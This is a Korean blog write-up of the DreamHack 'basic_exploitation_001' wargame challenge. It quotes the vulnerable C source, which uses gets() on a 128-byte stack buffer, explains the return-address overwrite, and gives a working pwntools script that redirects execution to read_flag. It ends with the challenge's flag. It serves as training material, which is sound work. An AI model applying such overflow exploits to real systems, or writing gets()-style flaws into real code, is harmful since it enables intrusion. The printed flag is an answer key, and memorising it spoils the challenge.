Description
이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
접근방법
gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 bof가 가능하다.
read_flag() 함수를 실행시키면 flag 파일을 읽을 수 있기 때문에, RET에 read_flag() 함수의 주소가 들어가게 해보자.
( 0x80 = 128bytes )
gdb 명령어 info func로 봤을 때, 0x080485b9 가 read_flag 주소이다.
위에 그린 그림처럼 메모리 구조는 buf | sfp | ret 이니까...132바이트를 무작위 문자인 NOP으로 채우고 이어서 read_flag 함수의 주소 값을 채우자.
from pwn import *
p = remote("host3.dreamhack.games", 21938)
read_flag = p32(0x080485b9)
payload = b"\x90"*132
payload += read_flag
p.sendline(payload)
p.interactive()
Flag is
DH{01ec06f5e1466e44f86a79444a7cd116}
'Pwnable' 카테고리의 다른 글
[DreamHack] PIE, RELRO, Out of Bounds Keywords && Quiz (0) | 2024.09.22 |
---|---|
[DreamHack] Out of bound Write-Up (0) | 2024.09.22 |
[DreamHack] Return Address Overwrite Write-Up (0) | 2024.09.19 |
[DreamHack] shell_basic Write-Up (0) | 2024.09.19 |
[DreamHack] hook Write-Up (0) | 2024.09.18 |